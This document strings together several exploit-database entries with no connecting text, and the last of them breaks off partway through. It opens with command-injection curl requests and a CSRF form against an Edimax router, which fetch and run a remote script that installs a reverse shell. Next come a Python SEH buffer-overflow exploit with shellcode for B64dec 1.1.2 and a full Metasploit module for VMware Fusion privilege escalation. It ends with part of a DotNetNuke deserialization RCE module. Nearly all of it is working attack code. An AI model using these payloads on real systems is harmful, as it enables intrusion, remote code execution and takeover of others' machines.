document.write('<font class=\"textcolor\">'+"<WIRELESS-SECURITY-KEY>"+'</font>');
== Command Execution * ==
(Setup Mode)
curl 'http://<RHOST>/goform/mp' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh'
(Unsetup Mode with default password)
curl 'http://<RHOST>/goform/mp' -H 'Authorization: Basic YWRtaW46MTIzNA==' --data 'command=%7C%7C+busybox+wget+-O+-+http%3A%2F%2F<LHOST>%2Fdelivery.sh+%7C+%2Fbin%2Fsh'
== Cross-Site Request Forgery -> Command Execution * ==
<form action="http://edimaxext.setup/goform/mp" method="POST">
<input type="hidden" name="command" value="|| busybox wget -O - http://<LHOST>/delivery.sh | /bin/sh">
<input type="submit" value="">
</form>
* [ delivery.sh ]
--------------------------------------------------------------------------------------
# (msfvenom) linux/mipsbe/shell/reverse_tcp
cd /tmp/
busybox wget -O reverse http://<LHOST>/reverse
busybox chmod +x reverse
./reverse &
--------------------------------------------------------------------------------------
# Exploit Title: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)
# Date: 2020-04-13
# Exploit Author: Andy Bowden
# Vendor Homepage: http://4mhz.de/b64dec.html
# Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip
# Version: Base64 Decoder 1.1.2
# Tested on: Windows 10 x86
#Instructions:
# Run the script to create the Crash.txt file. Copy the contents of the file and paste them into the search box and then click decode.
f = open("crash.txt", "wb")
padding1 = b"ERCDERCD"
padding1 += b"\x90" * 100
# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
# cmd=calc.exe exitfunc=thread -f python
payload = b""
payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"
egghunter = b"\x8B\xFD" # mov edi,ebp
egghunter += b"\xB8\x45\x52\x43\x44" # mov eax,45525344 ERCD
egghunter += b"\x47" # inc edi
egghunter += b"\x39\x07" # cmp dword ptr ds:[edi],eax
egghunter += b"\x75\xFB" # jne
egghunter += b"\x39\x07" # cmp dword ptr ds:[edi],eax
egghunter += b"\x75\xF7" # jne
egghunter += b"\xFF\xE7" # jmp edi
buf = padding1 + payload
buf += b"\x90" * (580 - len(padding1 + payload))
buf += egghunter
buf += b"\x90" * (620 - len(buf))
buf += b"\x90\x90\xEB\xCE"
buf += b"\x86\x1e\x40" #00401e86
f.write(buf)
f.close()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
'Description' => %q(
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
The Open VMware USB Arbitrator Service can be launched outide of its standard path
which allows loading of an attacker controlled binary. By creating a payload in the
user home directory in a specific folder, and creating a hard link to the 'Open VMware
USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
with an effective UID of 0.
@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Dhanesh Kizhakkinan', # discovery
'Rich Mirch', # edb module
'jeffball <jeffball@dc949.org>', # 11.5.3 exploit
'grimm'
],
'Platform' => [ 'osx' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2020-3950' ],
[ 'EDB', '48235' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
],
'DisclosureDate' => 'Mar 17 2020',
'DefaultOptions' =>
{
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
'WfsDelay' => 15
}
)
)
register_options [
OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def open_usb_service
'Open VMware USB Arbitrator Service'
end
def usb_service
'VMware USB Arbitrator Service'
end
def get_home_dir
home = cmd_exec 'echo ~'
if home.blank?
fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
end
home
end
def content_dir
"#{get_home_dir}/Contents"
end
def base_dir
"#{content_dir}/Library/services/"
end
def kill_process(executable)
pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
cmd_exec pid_kill
end
def get_version
# Thanks to @ddouhine on github for this answer!
version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
/=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
if version_raw.blank?
fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'
end
Gem::Version.new(version)
end
def pre_11_5_3
# Upload payload executable & chmod
payload_filename = "#{base_dir}#{usb_service}"
print_status "Uploading Payload: #{payload_filename}"
write_file payload_filename, generate_payload_exe
chmod payload_filename, 0o755
register_file_for_cleanup payload_filename
# create folder structure and hard link to the original binary
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
print_status "Created folder (#{link_folder}) and link"
print_status 'Starting USB Service (5 sec pause)'
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
Rex.sleep 5 # give time for the service to execute our payload
print_status 'Killing service'
cmd_exec "pkill '#{open_usb_service}'"
print_status "Deleting #{root_link_folder}"
rm_rf root_link_folder
end
def exactly_11_5_3
# Upload payload executable & chmod
payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
print_status "Uploading Payload to #{payload_name}"
write_file payload_name, generate_payload_exe
chmod payload_name, 0o755
#create race with codesign check
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
print_status 'Uploading race condition executable.'
race = <<~EOF
#!/bin/sh
while [ "1" = "1" ]; do
ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
done
EOF
racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx racer_name, race
register_file_for_cleanup racer_name
register_dirs_for_cleanup root_link_folder
# create the hard link
print_status "Creating folder (#{link_folder}) and link"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
# create the launcher to start the racer and keep launching our service to attempt to win
launcher = <<~EOF
#!/bin/sh
#{racer_name} &
for i in {1..#{datastore['MAXATTEMPTS']}}
do
echo "attempt $i";
'#{link_folder}#{open_usb_service}'
done
EOF
runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx runner_name, launcher
register_file_for_cleanup runner_name
print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
results = cmd_exec "#{runner_name} & :"
Rex.sleep 15 # give time for the service to execute our payload
vprint_status results
print_status 'Exploit Finished, killing scripts.'
kill_process racer_name
kill_process runner_name # in theory should be killed already but just in case
kill_process "'#{link_folder}#{open_usb_service}'"
# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
end
def check
unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
print_bad "'#{open_usb_service}' binary missing"
return CheckCode::Safe
end
version = get_version
if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
vprint_good "Vmware Fusion #{version} is exploitable"
else
print_bad "VMware Fusion #{version} is NOT exploitable"
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
# First check the system is vulnerable, or the user wants to run regardless
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
# Check if we're already root
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
end
# Make sure we can write our payload to the remote system
rm_rf content_dir # live dangerously.
if directory? content_dir
fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail."
end
cmd_exec "mkdir -p #{base_dir}"
register_dirs_for_cleanup content_dir
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable."
end
version = get_version
if version == Gem::Version.new('11.5.3')
vprint_status 'Using 11.5.3 exploit'
exactly_11_5_3
elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
vprint_status 'Using pre-11.5.3 exploit'
pre_11_5_3
end
rm_rf content_dir # live dangerously.
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
require 'openssl'
require 'set'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
Rank = ExcellentRanking
# =================================
# Overidden setup method to allow
# for delayed handler start
# =================================
def setup
# Reset the session counts to zero.
reset_session_counts
return if !payload_instance
return if !handler_enabled?
# Configure the payload handler
payload_instance.exploit_config = {
'active_timeout' => active_timeout
}
# payload handler is normally set up and started here
# but has been removed so we can start the handler when needed.
end
def initialize(info = {})
super(update_info(
info,
'Name' => "DotNetNuke Cookie Deserialization Remote Code Execution",
'Description' => %q(
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
The cookie is processed by the application whenever it attempts to load the current user's profile data.
This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
An attacker can leverage this vulnerability to execute arbitrary code on the system.
),
'License' => MSF_LICENSE,
'Author' => [ 'Jon Park', 'Jon Seigel' ],
'References' =>
[
[ 'CVE', '2017-9822' ],
[ 'CVE', '2018-15811'],
[ 'CVE', '2018-15812'],
[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
[ 'URL', 'https://github.com/pwntester/ysoserial.net']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
},
'Privileged' => false,
'DisclosureDate' => "Jul 20 2017",
'DefaultOptions' => { 'WfsDelay' => 5 },
'DefaultTarget' => 0
))
deregister_options('SRVHOST')
register_options(
[
OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
OptString.new('KEY', [false, 'The key to use for encryption.', '']),
OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
Can also be the path to a file containing a list of verification codes.), ''])
]
)
initialize_instance_variables
end
def initialize_instance_variables
# ==================
# COMMON VARIABLES
# ==================
@target_idx = 0
# Flag for whether or not to perform exploitation
@dry_run = false
# Flag for whether or not the target requires encryption
@encrypted = false
# Flag for whether or not to attempt to decrypt the provided verification token(s)
@try_decrypt = false
# ==================
# PAYLOAD VARIABLES
# ==================
# ObjectStateFormatter serialized header
@osf_header = [255, 1, 50]
# ObjectStateFormatter serialized data before the command payload
@osf_wrapper_start = [
0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,
99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,
114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,
46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,
116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,
107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,
57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,
114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,
0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,
99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,
109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,
96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,
44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,
111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,
2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,
46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,
114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,
112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,
86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,
117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,
97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,
95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,
101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,
17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0
]
# ObjectStateFormatter serialized data to place after the command payload.
@osf_wrapper_end = [
6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,
109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,
68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,
109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,
46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,
122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,
0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,
101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,
97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,
97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,
116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,
108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,
101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,
121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,
0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,
91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,
109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,
110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,
32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,
67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,
32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,
55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,
109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,
48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,
97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,
110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,
93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,
101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,
80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,
55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,
73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,
61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,
110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,
105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,
115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,
0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,
105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,
121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,
105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,
114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,
110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,
1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,
93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,
83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,
99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,
83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,
10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,
114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,
46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,
32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,
83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,
116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,
109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,
16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,
46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,
111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,
101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,
0, 0, 9, 22, 0, 0, 0, 10, 11
]
@cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/
# ==================
# v9.1.1+ VARIABLES
# ==================
@key_charset = "02468ABDF"
@verification_codes = []
@iv_regex = /[0-9A-F]{8}/
# Known plaintext
@kpt = ""
# Encryption objects
@decryptor = OpenSSL::Cipher.new('des')
@decryptor.decrypt
@encryptor = OpenSSL::Cipher.new('des')
@encryptor.encrypt
# final passphrase (key +iv) to use for payload (v9.1.1+)
@passphrase = ""
# ==================
# v9.2.0+ VARIABLES
# ==================
# Session token needed for exploitation (v9.2.0+)
@session_token = ""
# ==================
# v9.2.2+ VARIABLES
# ==================
# User ID format (v9.2.2+)
# Number of characters of user ID available in plaintext
